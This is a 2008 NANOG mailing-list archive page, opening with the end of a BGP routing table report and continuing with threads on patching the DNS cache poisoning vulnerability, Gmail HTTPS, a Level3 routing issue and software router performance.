Number of ARIN addresses announced to Internet: 353191456 Equivalent to 21 /8s, 13 /16s and 70 /24s Percentage of available ARIN address space announced: 72.6 ARIN AS Blocks 1-1876, 1902-2042, 2044-2046, 2048-2106 (pre-ERX allocations) 2138-2584, 2615-2772, 2823-2829, 2880-3153 3354-4607, 4865-5119, 5632-6655, 6912-7466 7723-8191, 10240-12287, 13312-15359, 16384-17407 18432-20479, 21504-23551, 25600-26591, 26624-27647, 29696-30719, 31744-33791 35840-36863, 39936-40959, 46080-47103 ARIN Address Blocks 24/8, 63/8, 64/8, 65/8, 66/8, 67/8, 68/8, 69/8, 70/8, 71/8, 72/8, 73/8, 74/8, 75/8, 76/8, 96/8, 97/8, 98/8, 99/8, 173/8, 174/8, 199/8, 204/8, 205/8, 206/8, 207/8, 208/8, 209/8, 216/8, RIPE Region Analysis Summary ---------------------------- Prefixes being announced by RIPE Region ASes: 56776 Total RIPE prefixes after maximum aggregation: 34509 RIPE Deaggregation factor: 1.65 Prefixes being announced from the RIPE address blocks: 51972 Unique aggregates announced from the RIPE address blocks: 34924 RIPE Region origin ASes present in the Internet Routing Table: 11625 RIPE Prefixes per ASN: 4.47 RIPE Region origin ASes announcing only one prefix: 6092 RIPE Region transit ASes present in the Internet Routing Table: 1745 Average RIPE Region AS path length visible: 4.0 Max RIPE Region AS path length visible: 18 Number of RIPE addresses announced to Internet: 367204704 Equivalent to 21 /8s, 227 /16s and 25 /24s Percentage of available RIPE address space announced: 84.2 RIPE AS Blocks 1877-1901, 2043, 2047, 2107-2136, 2585-2614 (pre-ERX allocations) 2773-2822, 2830-2879, 3154-3353, 5377-5631 6656-6911, 8192-9215, 12288-13311, 15360-16383 20480-21503, 24576-25599, 28672-29695 30720-31743, 33792-35839, 38912-39935 40960-45055, 47104-48127 RIPE Address Blocks 62/8, 77/8, 78/8, 79/8, 80/8, 81/8, 82/8, 83/8, 84/8, 85/8, 86/8, 87/8, 88/8, 89/8, 90/8, 91/8, 92/8, 93/8, 94/8, 95/8, 193/8, 194/8, 195/8, 212/8, 213/8, 217/8, LACNIC Region Analysis Summary ------------------------------ Prefixes being announced by LACNIC Region ASes: 20746 Total LACNIC prefixes after maximum aggregation: 5244 LACNIC Deaggregation factor: 3.96 Prefixes being announced from the LACNIC address blocks: 18960 Unique aggregates announced from the LACNIC address blocks: 10738 LACNIC Region origin ASes present in the Internet Routing Table: 971 LACNIC Prefixes per ASN: 19.53 LACNIC Region origin ASes announcing only one prefix: 318 LACNIC Region transit ASes present in the Internet Routing Table: 165 Average LACNIC Region AS path length visible: 4.1 Max LACNIC Region AS path length visible: 18 Number of LACNIC addresses announced to Internet: 53835776 Equivalent to 3 /8s, 53 /16s and 120 /24s Percentage of available LACNIC address space announced: 53.5 LACNIC AS Blocks 26592-26623, 27648-28671, plus ERX transfers LACNIC Address Blocks 186/8, 187/8, 189/8, 190/8, 200/8, 201/8, AfriNIC Region Analysis Summary ------------------------------- Prefixes being announced by AfriNIC Region ASes: 4001 Total AfriNIC prefixes after maximum aggregation: 1217 AfriNIC Deaggregation factor: 3.29 Prefixes being announced from the AfriNIC address blocks: 4304 Unique aggregates announced from the AfriNIC address blocks: 1861 AfriNIC Region origin ASes present in the Internet Routing Table: 242 AfriNIC Prefixes per ASN: 17.79 AfriNIC Region origin ASes announcing only one prefix: 77 AfriNIC Region transit ASes present in the Internet Routing Table: 47 Average AfriNIC Region AS path length visible: 3.9 Max AfriNIC Region AS path length visible: 14 Number of AfriNIC addresses announced to Internet: 12518400 Equivalent to 0 /8s, 191 /16s and 4 /24s Percentage of available AfriNIC address space announced: 37.3 AfriNIC AS Blocks 36864-37887 & ERX transfers AfriNIC Address Blocks 41/8, 196/8, APNIC Region per AS prefix count summary ---------------------------------------- ASN No of nets /20 equiv MaxAgg Description 4755 1677 342 177 Videsh Sanchar Nigam Ltd. Aut 17488 1236 85 99 Hathway IP Over Cable Interne 9583 1145 86 482 Sify Limited 4766 853 6390 347 Korea Telecom (KIX) 23577 830 35 702 Korea Telecom (ATM-MPLS) 4134 828 13603 337 CHINANET-BACKBONE 4780 711 351 63 Digital United Inc. 18101 710 167 33 Reliance Infocom Ltd Internet 9498 661 291 57 BHARTI BT INTERNET LTD. 4808 621 1120 138 CNCGROUP IP network: China169 Complete listing at http://thyme.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 6389 3209 3359 213 bellsouth.net, inc. 209 2999 3859 623 Qwest 6298 1648 237 780 Cox Communicatons 4323 1486 1062 380 Time Warner Telecom 2386 1485 663 879 AT&T Data Communications Serv 7018 1412 5840 989 AT&T WorldNet Services 1785 1227 510 104 AppliedTheory Corporation 11492 1208 149 28 Cable One 20115 1118 1082 572 Charter Communications 18566 1045 296 10 Covad Communications Complete listing at http://thyme.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 3292 413 1792 371 TDC Tele Danmark 3301 332 1460 303 TeliaNet Sweden 3320 322 7047 270 Deutsche Telekom AG 8452 320 188 11 TEDATA 8866 317 77 21 Bulgarian Telecommunication C 5462 296 666 27 Telewest Broadband 8551 288 270 38 Bezeq International 3215 277 2758 90 France Telecom Transpac 680 274 2047 264 DFN-IP service G-WiN 6746 267 125 242 Dynamic Network Technologies, Complete listing at http://thyme.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 1384 2590 225 UniNet S.A. de C.V. 11830 612 299 9 Instituto Costarricense de El 22047 565 270 14 VTR PUNTO NET S.A. 7303 472 233 60 Telecom Argentina Stet-France 16814 426 27 10 NSS, S.A. 6471 415 85 48 ENTEL CHILE S.A. 11172 408 118 71 Servicios Alestra S.A de C.V 10620 407 107 56 TVCABLE BOGOTA 14117 375 23 9 Telefonica del Sur S.A. 20299 331 23 104 NEWCOM AMERICAS Complete listing at http://thyme.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 24863 478 61 25 LINKdotNET AS number 20858 398 34 3 EgyNet 3741 268 855 223 The Internet Solution 2018 209 197 131 Tertiary Education Network 6713 141 135 11 Itissalat Al-MAGHRIB 33783 135 10 12 EEPAD TISP TELECOM & INTERNET 5713 131 556 76 Telkom SA Ltd 5536 120 8 17 Internet Egypt Network 33776 115 6 7 Starcomms Nigeria Limited 29571 107 13 8 Ci Telecom Autonomous system Complete listing at http://thyme.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 6389 3209 3359 213 bellsouth.net, inc. 209 2999 3859 623 Qwest 4755 1677 342 177 Videsh Sanchar Nigam Ltd. Aut 6298 1648 237 780 Cox Communicatons 4323 1486 1062 380 Time Warner Telecom 2386 1485 663 879 AT&T Data Communications Serv 7018 1412 5840 989 AT&T WorldNet Services 8151 1384 2590 225 UniNet S.A. de C.V. 17488 1236 85 99 Hathway IP Over Cable Interne 1785 1227 510 104 AppliedTheory Corporation Complete listing at http://thyme.apnic.net/current/data-ASnet Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 209 2999 2376 Qwest 4755 1677 1500 Videsh Sanchar Nigam Ltd. Aut 11492 1208 1180 Cable One 8151 1384 1159 UniNet S.A. de C.V. 17488 1236 1137 Hathway IP Over Cable Interne 1785 1227 1123 AppliedTheory Corporation 4323 1486 1106 Time Warner Telecom 18566 1045 1035 Covad Communications 22773 972 908 Cox Communications, Inc. 6298 1648 868 Cox Communicatons Complete listing at http://thyme.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 16927 UNALLOCATED 12.0.252.0/23 701 UUNET Technologies, 22492 UNALLOCATED 12.2.46.0/24 7018 AT&T WorldNet Servic 15132 UNALLOCATED 12.9.150.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.14.170.0/24 7018 AT&T WorldNet Servic 13632 UNALLOCATED 12.20.55.0/24 6517 Yipes Communications 13746 UNALLOCATED 12.24.56.0/24 7018 AT&T WorldNet Servic 32567 UNALLOCATED 12.25.107.0/24 7018 AT&T WorldNet Servic 13632 UNALLOCATED 12.31.25.0/24 6517 Yipes Communications 27220 UNALLOCATED 12.35.204.0/24 7018 AT&T WorldNet Servic 26973 UNALLOCATED 12.39.152.0/24 7018 AT&T WorldNet Servic Complete listing at http://thyme.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 24.48.244.0/23 7843 Adelphia Corp. 24.48.246.0/24 7843 Adelphia Corp. 24.51.159.0/24 7843 Adelphia Corp. 24.54.23.0/24 7843 Adelphia Corp. 24.54.224.0/19 20001 HoldCo LLC - Road Runner 24.75.160.0/19 7843 Adelphia Corp. 24.75.192.0/18 7843 Adelphia Corp. 24.142.40.0/21 7018 AT&T WorldNet Services 24.142.160.0/19 7018 AT&T WorldNet Services 24.246.0.0/17 7018 AT&T WorldNet Services Complete listing at http://thyme.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:18 /9:9 /10:16 /11:45 /12:145 /13:288 /14:519 /15:1044 /16:10020 /17:4337 /18:7532 /19:15887 /20:18548 /21:18162 /22:22735 /23:23709 /24:138084 /25:837 /26:1019 /27:767 /28:82 /29:7 /30:1 /31:0 /32:6 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 6389 2040 3209 bellsouth.net, inc. 209 1750 2999 Qwest 6298 1624 1648 Cox Communicatons 11492 1190 1208 Cable One 2386 1182 1485 AT&T Data Communications Serv 17488 1048 1236 Hathway IP Over Cable Interne 4755 1029 1677 Videsh Sanchar Nigam Ltd. Aut 18566 1026 1045 Covad Communications 6478 1006 1015 AT&T Worldnet Services 9583 1001 1145 Sify Limited Complete listing at http://thyme.apnic.net/current/data/sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 4:8 8:126 12:2107 13:2 15:22 16:3 17:5 18:13 20:35 24:1063 32:60 38:467 40:92 41:661 43:1 44:2 47:12 52:3 55:3 56:3 57:25 58:521 59:506 60:453 61:1011 62:1196 63:2042 64:3251 65:2391 66:3504 67:1227 68:744 69:2271 70:804 71:117 72:1965 73:5 74:1042 75:155 76:306 77:758 78:764 79:211 80:938 81:824 82:599 83:377 84:566 85:965 86:409 87:690 88:338 89:1323 90:15 91:1382 92:231 93:710 94:88 96:48 97:34 98:266 99:4 112:1 113:1 114:90 115:19 116:864 117:323 118:189 119:426 120:56 121:567 122:801 123:365 124:903 125:1177 128:361 129:198 130:134 131:410 132:66 133:9 134:186 135:33 136:224 137:92 138:146 139:93 140:494 141:99 142:408 143:332 144:393 145:51 146:366 147:156 148:517 149:196 150:125 151:180 152:143 153:136 154:10 155:252 156:175 157:290 158:187 159:237 160:279 161:118 162:215 163:155 164:518 165:452 166:319 167:331 168:621 169:139 170:426 171:32 172:10 188:1 189:297 190:2197 192:5797 193:4098 194:3229 195:2536 196:1025 198:3722 199:3279 200:5586 201:1463 202:7656 203:8052 204:3983 205:2128 206:2333 207:2753 208:3451 209:3515 210:2583 211:1073 212:1412 213:1583 214:164 215:49 216:4468 217:1208 218:342 219:423 220:1055 221:451 222:312 End of report From sean at donelan.com Fri Jul 25 13:38:31 2008 From: sean at donelan.com (Sean Donelan) Date: Fri, 25 Jul 2008 14:38:31 -0400 (EDT) Subject: Federal Government Interest in your patch progress In-Reply-To: References: <0807241121020.260511804928587@clifden.donelan.com> <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> <38042.1216914884@nsa.vix.com> <0807241305300.267001804928587@clifden.donelan.com> <46280.1216919645@nsa.vix.com> <924f29280807241358h62150dc4o17b605d8049b475c@mail.gmail.com> <20080724213101.GG359@cgi.jachomes.com> <50561.1216946275@turing-police.cc.vt.edu> <20080725130310.GB88532@puck.nether.net> <202705b0807250759i2397fb3etb8fede86e396a3f9@mail.gmail.com> <20080725152709.GD45292@puck.nether.net> <200807251324060.6B95064B.2415@clifden.donelan.com> Message-ID: <200807251420250.32BF5B92.2698@clifden.donelan.com> On Fri, 25 Jul 2008, brett watson wrote: >> Unfortunately, several of the public "testing" sites have been generating >> false-positives. > > It would be good of you to list those here if you know which ones are > generating false positives, so folks can avoid using them. Under the right (or wrong) conditions every public DNS testing site has generated a false positive for some complex DNS configurations which the test creators hadn't expected. The maintainers of the public testing sites have been "patching" their tests to better handle some of problems. So the testing results may change from day to day. You need to understand how both the test works and what the results mean; not only whether it says "Pass"/"Fail". From chucklist at forest.net Fri Jul 25 13:48:35 2008 From: chucklist at forest.net (chuck goolsbee) Date: Fri, 25 Jul 2008 11:48:35 -0700 Subject: Federal Government Interest in your patch progress In-Reply-To: References: <202705b0807250759i2397fb3etb8fede86e396a3f9@mail.gmail.com> <20080725152709.GD45292@puck.nether.net> Message-ID: >>The question is how can we as an interdependent industry close the >>gaps of the "Bubba" SPs and their software upgrade policies? The depends upon your definition of a "Bubba SP" I guess. Does that mean small? If so we might qualify. Or does "Bubba" mean not listening to lists like this? >> That being said, is there anyone keeping metrics of what upgrades >> have been done so far? Like everyone else (I hope!) we're tracking progress in *our* network. The hard part, besides flogging reluctant server owners, is that some OS' are still lacking in "official" patches. Apple for example. Not a peep from them, and as you would expect those server owners are not the sort to install anything unless it shows up in their Software Update app. Has anyone heard any ETA on a patch from Cupertino? Short of unplugging customers there's not much we can do with those... except wait. >OARC is >also coordinating a notification effort in conjunction with lawrence baldwin >of MyNetWatchman. We've seen those at our "abuse@" account, and they are helpful. Keep sending them. If we qualify as "bubba" that works. >>Personally, I see this event as major driver for deploying dnssec. Agreed. Patching is just a band-aid and this really needs to be an amputation. --chuck "On any given day, there's always something broken somewhere. In DNS, there's always something broken everywhere." --Paul Vixie @ 4:20 PM 3/31/07, on NANOG From vixie at isc.org Fri Jul 25 16:31:11 2008 From: vixie at isc.org (Paul Vixie) Date: Fri, 25 Jul 2008 21:31:11 +0000 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: (Alexander Harrowell's message of "Fri\, 25 Jul 2008 18\:53\:49 +0100") References: Message-ID: in we see this text: The DNS attacks are starting!!! Below is a snippet of a logwatch from last night. Be sure all DNS servers are updated if at all possible. The spooks are out in full on this security vulnerability in force. THIS IS YOUR LAST WARNING...!!! Patch or Upgrade NOW! ... this ought to be an interesting weekend. -- Paul Vixie -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From mpetach at netflight.com Fri Jul 25 16:52:15 2008 From: mpetach at netflight.com (Matthew Petach) Date: Fri, 25 Jul 2008 14:52:15 -0700 Subject: https (was: Re: Exploit for DNS Cache Poisoning - RELEASED) In-Reply-To: References: <200807232230.m6NMUehk023713@aurora.sol.net> <1216862821.7847.6.camel@luna.unix.geek.nz> <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> <4888348C.3010806@ripe.net> <20080724040558.5b20e1c2@cs.columbia.edu> <935ead450807241656x3a28f229m943abca7fd307ca@mail.gmail.com> Message-ID: <63ac96a50807251452g5d90b59bgc4f0e9c4414c3850@mail.gmail.com> On 7/24/08, Hank Nussbacher wrote: > On Thu, 24 Jul 2008, Jeffrey Ollie wrote: > > > Interestingly enough, Google just added a feature to GMail to force > > secure connections: > > > http://googlesystem.blogspot.com/2008/07/force-gmail-to-use-secure-connection.html > > > > Jeff > > > > I wish Yahoo and Hotmail even had the ability of *reading* email via https: > http://www.interall.co.il/hotmail-yahoo-https.html I'm sure when Gmail gets close to the same number of users as Yahoo, they will discover how challenging and painful it is to support that many simultaneous short-lived SSL connections. It's much easier to support CPU intensive tasks like full-time SSL when you have a small user base; as that user base grows, the cost of providing that service continues to grow, often outpacing the revenue benefit it brings. I *definitely* agree that any paid-for mail service should support full-time SSL connectivity for reading as well as login. For a free service, though, it's hard to afford the CPU resources to handle it as the demand scales up. > And then MS doesn't quite understand why people prefer Gmail to Hotmail :-) > > -Hank The good news is that the more users switch to gmail from hotmail, the less load there is on the server CPUs at hotmail, and the sooner they'll be able to afford to enable full-time SSL for the remaining users. :D So clearly, the goal is to encourage everyone *else* to go use gmail, leaving you to enjoy the very lightly-loaded and highly-responsive platform left behind. ;) Matt From pete at altadena.net Fri Jul 25 17:14:06 2008 From: pete at altadena.net (Pete Carah) Date: Fri, 25 Jul 2008 18:14:06 -0400 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: References: Message-ID: <488A502E.8050308@altadena.net> Paul Vixie wrote: > in > we see this text: > > The DNS attacks are starting!!! > > Below is a snippet of a logwatch from last night. Be sure all DNS > servers are updated if at all possible. The spooks are out in full > on this security vulnerability in force. > > THIS IS YOUR LAST WARNING...!!! > Patch or Upgrade NOW! > > ... > > this ought to be an interesting weekend. I saw much more than this *from the same address* starting two days ago, and from several other blocks belonging to the same university starting last week, to my home router and another server. So far my better connected servers haven't been hit hard. (and no non-auto answer from "security" at that university...) -- Pete From graeme at graemef.net Fri Jul 25 17:25:30 2008 From: graeme at graemef.net (Graeme Fowler) Date: Fri, 25 Jul 2008 23:25:30 +0100 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <488A502E.8050308@altadena.net> References: <488A502E.8050308@altadena.net> Message-ID: <1217024730.12145.7.camel@ernie.internal.graemef.net> On Fri, 2008-07-25 at 18:14 -0400, Pete Carah wrote: > I saw much more than this *from the same address* starting two days ago, > and from several other blocks belonging to the same university starting > last week, to my home router and another server. So far my better > connected servers haven't been hit hard. (and no non-auto answer from > "security" at that university...) I saw this earlier in the week, along with queries for a domain name which happens to have been registered by Dan Kaminsky, so I emailed him about it. The addresses in question at Georgia Tech appear to be in use as part of Doxpara's scan for unpatched systems, which he confirmed. For those who are bothered, look out for queries from the same netblock of the form: rB6CIo_XgRlScY5K0iGISAAAAAAvygwAAAAAACujBAA=.ports.dns-integrity-scan.com/A/IN It's probably obvious to one and all what they should be for. And the fact that the queries are denied by correctly configured (ie. non-open) resolvers makes it even less of a panic. The sky isn't falling... yet. Graeme From graeme at graemef.net Fri Jul 25 17:32:32 2008 From: graeme at graemef.net (Graeme Fowler) Date: Fri, 25 Jul 2008 23:32:32 +0100 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <1217024730.12145.7.camel@ernie.internal.graemef.net> References: <488A502E.8050308@altadena.net> <1217024730.12145.7.camel@ernie.internal.graemef.net> Message-ID: <1217025152.12145.10.camel@ernie.internal.graemef.net> On Fri, 2008-07-25 at 23:25 +0100, Graeme Fowler wrote: > I saw this earlier in the week, along with queries for a domain name > which happens to have been registered by Dan Kaminsky, so I emailed him > about it. The addresses in question at Georgia Tech appear to be in use > as part of Doxpara's scan for unpatched systems, which he confirmed. And for extra points, can anyone with access to the raw un-logwatched log entries tell us what's rather odd about the queries, given the current furore over... well, that'd give the answer ;-) Graeme From yahoo at jimpop.com Fri Jul 25 18:14:53 2008 From: yahoo at jimpop.com (Jim Popovitch) Date: Fri, 25 Jul 2008 19:14:53 -0400 Subject: https (was: Re: Exploit for DNS Cache Poisoning - RELEASED) In-Reply-To: <63ac96a50807251452g5d90b59bgc4f0e9c4414c3850@mail.gmail.com> References: <200807232230.m6NMUehk023713@aurora.sol.net> <1216862821.7847.6.camel@luna.unix.geek.nz> <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> <4888348C.3010806@ripe.net> <20080724040558.5b20e1c2@cs.columbia.edu> <935ead450807241656x3a28f229m943abca7fd307ca@mail.gmail.com> <63ac96a50807251452g5d90b59bgc4f0e9c4414c3850@mail.gmail.com> Message-ID: <7ff145960807251614i2fb680eby8cc57d8c51d0e917@mail.gmail.com> On Fri, Jul 25, 2008 at 5:52 PM, Matthew Petach wrote: > I'm sure when Gmail gets close to the same number of users > as Yahoo, they will discover how challenging and painful it is > to support that many simultaneous short-lived SSL connections. True, however GMail has the advantage of seeing Yahoo!'s past problems and working (in advance) around them. SSL is a good thing, and thankfully Yahoo! came into the 21st century. ;-) Before I switched to GMail I use to VPN my laptop connections to Yahoo! POP3 via a server closer to Yahoo! to avoid sniffing opptys. -Jim P. From tomb at byrneit.net Fri Jul 25 20:58:42 2008 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Fri, 25 Jul 2008 18:58:42 -0700 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: References: <202705b0807240710u111677dex481c51eb675fe7fb@mail.gmail.com><70D072392E56884193E3D2DE09C097A9F3B6@pascal.zaphodb.org><94C2CA9D-99BC-4ABA-8DA3-F8A348F073F2@virtualized.org><51264.1216947900@turing-police.cc.vt.edu><9F3E352F-1E24-418F-A54B-91264B3E3484@virtualized.org> Message-ID: <70D072392E56884193E3D2DE09C097A9F3C3@pascal.zaphodb.org> Lack of accountability, heavily bureacratic, and dirigiste. Oh, and generally irrelevant/impotent in the real world of the streets/net and crime/insurgency/dictatorship. > -----Original Message----- > From: Alexander Harrowell [mailto:a.harrowell at gmail.com] > Sent: Friday, July 25, 2008 10:54 AM > To: David Conrad > Cc: nanog at merit.edu > Subject: Re: Exploit for DNS Cache Poisoning - RELEASED > > In what way is the EU's governance model the same as, or > anything similar, to the UN's or ITU's? This argument gets > increasingly silly. Hell, when did ITU last let someone > randomly take over a chunk of the e164 name space? > > On Fri, Jul 25, 2008 at 4:06 PM, David Conrad > wrote: > > > Valdis, > > > > > > On Jul 24, 2008, at 6:05 PM, Valdis.Kletnieks at vt.edu wrote: > > > >> On Thu, 24 Jul 2008 17:43:10 PDT, David Conrad said: > >> > >>> On Jul 24, 2008, at 4:24 PM, Tomas L. Byrnes wrote: > >>> > >>>> The problem is, once the ICANNt root is self-signed, the hope of > >>>> ever revoking that dysfunctional mess as authority is gone. > >>>> > >>> > From onewingaengel at gmail.com Sat Jul 26 08:49:48 2008 From: onewingaengel at gmail.com (John Menerick) Date: Sat, 26 Jul 2008 06:49:48 -0700 Subject: Level3 newyork - london, anyone else seeing issues? In-Reply-To: References: Message-ID: <8048921E-2B05-4428-A313-09A156A6D66C@gmail.com> I was seeing the same thing around the same time. However, the "issue" corrected itself after 10 minutes. Not quite long enough to get Level3 support on the phone. Support's answer: "OOps, our bad....." John Menerick http://www.icehax.us twitter: aeonice aim: glacilwing On Jul 25, 2008, at 6:13 AM, Drew Weaver wrote: > C:\Users\aweaver>tracert 123.237.32.1 > > Tracing route to 123.237.32.1 over a maximum of 30 hops > > 5 5 ms 5 ms 5 ms ae-2-6.bar2.Cleveland1.Level3.net > [4.69.132.202] > 6 5 ms 4 ms 4 ms ae-0-11.bar1.Cleveland1.Level3.net > [4.69.136.185] > 7 13 ms 17 ms 17 ms ae-6-6.ebr1.Washington1.Level3.net > [4.69.136.190] > 8 16 ms 16 ms 17 ms ae-91-91.csw4.Washington1.Level3.net > [4.69.134.142] > 9 15 ms 17 ms 17 ms ae-93-93.ebr3.Washington1.Level3.net > [4.69.134.173] > 10 22 ms 18 ms 18 ms ae-3.ebr3.NewYork1.Level3.net > [4.69.132.90] > 11 30 ms 18 ms 18 ms ae-63-63.csw1.NewYork1.Level3.net > [4.69.134.98] > 12 18 ms 19 ms 19 ms ae-13-69.car3.NewYork1.Level3.net > [4.68.16.5] > 13 * * * Request timed out. > 14 * * * Request timed out. > 15 * * * Request timed out. > 16 * * * Request timed out. > 17 * * * Request timed out. > 18 * * * Request timed out. > 19 * * * Request timed out. > 20 * * * Request timed out. > 21 * * * Request timed out. > 22 * * * Request timed out. > 23 * * * Request timed out. > 24 * * * Request timed out. > 25 * * * Request timed out. > 26 * * * Request timed out. > 27 * * * Request timed out. > 28 * * * Request timed out. > 29 * * * Request timed out. > 30 * * * Request timed out. > > Looks like it began occurring around 4am. We're getting reports from > some international users that they are unable to reach destinations > within our network. > > -Drew > From craigp at tozz.net Fri Jul 25 23:09:56 2008 From: craigp at tozz.net (Craig Pierantozzi) Date: Fri, 25 Jul 2008 22:09:56 -0600 Subject: Level3 newyork - london, anyone else seeing issues? In-Reply-To: <8048921E-2B05-4428-A313-09A156A6D66C@gmail.com> References: <8048921E-2B05-4428-A313-09A156A6D66C@gmail.com> Message-ID: On Jul 26, 2008, at 7:49 AM, John Menerick wrote: > I was seeing the same thing around the same time. However, the > "issue" corrected itself after 10 minutes. Not quite long enough to > get Level3 support on the phone. Support's answer: "OOps, our > bad....." > > > John Menerick > http://www.icehax.us > twitter: aeonice > aim: glacilwing I'm sorry to say that whoever said that didn't know the issue since it wasn't a level 3 problem. That router in NYC is the border and bgp was up and routing fine over that interface to another entity. Something was wrong on the return path on the other side past that customer access router. I worked with Drew offline and after clearing one side, efforts were underway to contact the other entity and get it resolved when it returned to normal. regards -Craig From fw at deneb.enyo.de Sat Jul 26 05:34:19 2008 From: fw at deneb.enyo.de (Florian Weimer) Date: Sat, 26 Jul 2008 12:34:19 +0200 Subject: Software router state of the art In-Reply-To: <3c3e3fca0807230907h13bae9e1h55333c57bcdb1b09@mail.gmail.com> (William Herrin's message of "Wed, 23 Jul 2008 12:07:23 -0400") References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <3c3e3fca0807230907h13bae9e1h55333c57bcdb1b09@mail.gmail.com> Message-ID: <87sktxx7bo.fsf@mid.deneb.enyo.de> * William Herrin: > The Endace DAG cards claim they can move 7 gbps over a PCI-X bus from > the NIC to main DRAM. They claim a full 10gbps on a PCIE bus. But they are receive-only, right? The main problem for "software routing" seems to be that it's basically Ethernet-only because other interfaces are very difficult to find. From fw at deneb.enyo.de Sat Jul 26 05:41:29 2008 From: fw at deneb.enyo.de (Florian Weimer) Date: Sat, 26 Jul 2008 12:41:29 +0200 Subject: Software router state of the art In-Reply-To: <20080723161740.GK11922@skywalker.creative.net.au> (Adrian Chadd's message of "Thu, 24 Jul 2008 00:17:40 +0800") References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <48874FFF.4020205@thewybles.com> <20080723161740.GK11922@skywalker.creative.net.au> Message-ID: <87r69hx6zq.fsf@mid.deneb.enyo.de> * Adrian Chadd: > 1 mil pps has been broken that way, but it uses lots of cores to get there. > (8, I think?) Was this with one packet flow, or with millions of them? Traditionally, software routing performance on hosts systems has been optimized for few and rather long flows. Anyway, with multi-core, you don't need funky algorithms for incremental FIB updates anymore (if you don't need sub-second convergence and stuff like that). As a result, you can use really dumb multi-way trees for which a lookup takes something like 100 CPU cycles (significantly less for non-DoS traffic with higher locality). From adrian at creative.net.au Sat Jul 26 06:05:26 2008 From: adrian at creative.net.au (Adrian Chadd) Date: Sat, 26 Jul 2008 19:05:26 +0800 Subject: Software router state of the art In-Reply-To: <87r69hx6zq.fsf@mid.deneb.enyo.de> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <48874FFF.4020205@thewybles.com> <20080723161740.GK11922@skywalker.creative.net.au> <87r69hx6zq.fsf@mid.deneb.enyo.de> Message-ID: <20080726110526.GA18478@skywalker.creative.net.au> On Sat, Jul 26, 2008, Florian Weimer wrote: > Was this with one packet flow, or with millions of them? I believe it was >1 flow. The guy is using an Ixia; I don't know how he has it configured. > Traditionally, software routing performance on hosts systems has been > optimized for few and rather long flows. Yup. And I always ask that question when people claim really high(!) throughput on software forwarding. It turns out their throughput was single source/single dest, and/or large packets (so high throughput, but low pps.) Adrian From karnaugh at karnaugh.za.net Sat Jul 26 06:11:53 2008 From: karnaugh at karnaugh.za.net (Colin Alston) Date: Sat, 26 Jul 2008 13:11:53 +0200 Subject: Software router state of the art In-Reply-To: <20080726110526.GA18478@skywalker.creative.net.au> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <48874FFF.4020205@thewybles.com> <20080723161740.GK11922@skywalker.creative.net.au> <87r69hx6zq.fsf@mid.deneb.enyo.de> <20080726110526.GA18478@skywalker.creative.net.au> Message-ID: <488B0679.7040009@karnaugh.za.net> On 2008/07/26 01:05 PM Adrian Chadd wrote: > On Sat, Jul 26, 2008, Florian Weimer wrote: >> Traditionally, software routing performance on hosts systems has been >> optimized for few and rather long flows. > > Yup. > > And I always ask that question when people claim really high(!) throughput on > software forwarding. It turns out their throughput was single source/single > dest, and/or large packets (so high throughput, but low pps.) I assume though that all of this is on x86 platform hardware. How does this compare to Linux or FreeBSD running on something else like the Cavium Octeon and other 64bit MIPS based processors? From adrian at creative.net.au Sat Jul 26 06:31:14 2008 From: adrian at creative.net.au (Adrian Chadd) Date: Sat, 26 Jul 2008 19:31:14 +0800 Subject: Software router state of the art In-Reply-To: <488B0679.7040009@karnaugh.za.net> References: <521991.67953.qm@web65512.mail.ac4.yahoo.com> <13218.1216826659@turing-police.cc.vt.edu> <48874FFF.4020205@thewybles.com> <20080723161740.GK11922@skywalker.creative.net.au> <87r69hx6zq.fsf@mid.deneb.enyo.de> <20080726110526.GA18478@skywalker.creative.net.au> <488B0679.7040009@karnaugh.za.net> Message-ID: <20080726113114.GB18478@skywalker.creative.net.au> On Sat, Jul 26, 2008, Colin Alston wrote: > >And I always ask that question when people claim really high(!) throughput > >on > >software forwarding. It turns out their throughput was single source/single > >dest, and/or large packets (so high throughput, but low pps.) > > I assume though that all of this is on x86 platform hardware. How does > this compare to Linux or FreeBSD running on something else like the > Cavium Octeon and other 64bit MIPS based processors? You'll have to ask the people playing with it on that. Me, I've been looking for some multicore MIPS + fruit for some Squid related hackery but I've been busy with other things (like, you know, making Squid-2 be able to be run on multi-core hardware in the first place..) so it'll have to wait.. :) Adrian From dhetzel at gmail.com Sat Jul 26 